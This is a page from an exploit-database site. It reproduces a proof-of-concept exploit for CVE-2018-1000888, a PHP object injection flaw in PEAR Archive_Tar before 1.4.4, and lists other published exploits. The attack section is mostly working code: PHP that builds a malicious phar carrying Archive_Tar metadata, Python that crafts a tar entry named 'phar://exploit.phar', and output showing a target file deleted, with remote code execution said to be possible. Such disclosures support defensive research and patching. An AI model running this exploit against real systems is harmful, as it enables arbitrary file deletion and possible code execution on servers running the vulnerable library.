Menu

Search for hundreds of thousands of exploits

"PEAR Archive_Tar < 1.4.4 - PHP Object Injection"

Author

Exploit author

"Fariskhi Vidyan"

Platform

Exploit platform

php

Release date

Exploit published date

2019-01-10

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
PEAR Archive_Tar < 1.4.4 - PHP Object Injection

Date:
  January 10, 2019

Author:
  farisv

Vendor Homepage:
  https://pear.php.net/package/Archive_Tar/

Vulnerable Package Link:
  http://download.pear.php.net/package/Archive_Tar-1.4.3.tgz

CVE:
  CVE-2018-1000888

In PEAR Archive_Tar before 1.4.4, there are several file operation with `$v_header['filename']` as parameter (such as file_exists, is_file, is_dir, etc). When extract() is called without a specific prefix path, we can trigger phar induced unserialization by crafting a tar file with `phar://[path_to_malicious_phar_file]` as path name. Object injection can be used to trigger destructor/wakeup method in the loaded PHP classes, e.g. the Archive_Tar class itself. With Archive_Tar itself, we can trigger arbitrary file deletion because `@unlink($this->_temp_tarname)` will be called in the destructor method. If another class with useful gadget is loaded, remote code execution may be possible.


Steps to reproduce object injection and arbitrary file deletion:

1. Make sure that PHP & PEAR are installed.
2. Download vulnerable PEAR Archive_Tar.

$ wget http://download.pear.php.net/package/Archive_Tar-1.4.3.tgz
$ tar xfz Archive_Tar-1.4.3.tgz
$ cd Archive_Tar-1.4.3

3. Create vulnerable code (vulnerable.php).

```
<?php
  require 'Archive/Tar.php';

  $exploit = new Archive_Tar('exploit.tar');
  $exploit->extract();
```

4. Create dummy file /tmp/test.

$ touch /tmp/test

5. Genereate exploit.phar with the following PHP code and place the exploit.phar in the same directory with vulnerable.php.

```
<?php

class Archive_Tar {
  public $_temp_tarname;
}

$phar = new Phar('exploit.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); ? >');

$object = new Archive_Tar;
$object->_temp_tarname = '/tmp/test';
$phar->setMetadata($object);
$phar->stopBuffering();
```

6. Create exploit.tar with the following Python code.

```
import tarfile

tf = tarfile.open('exploit.tar', 'w')

tf.add('/dev/null', 'phar://exploit.phar')
tf.close()
```

7. Execute vulnerable.php to trigger object injection to delete /tmp/test.

$ ls -alt /tmp/test
-rw-rw-r-- 1 vagrant vagrant 0 Jan  9 16:41 /tmp/test
$ php vulnerable.php
$ ls -alt /tmp/test
ls: cannot access '/tmp/test': No such file or directory
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2019-01-10 "PEAR Archive_Tar < 1.4.4 - PHP Object Injection" webapps php "Fariskhi Vidyan"
2018-12-14 "Responsive FileManager 9.13.4 - Multiple Vulnerabilities" webapps php "Fariskhi Vidyan"
2018-12-11 "PrestaShop 1.6.x/1.7.x - Remote Code Execution" webapps php "Fariskhi Vidyan"
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.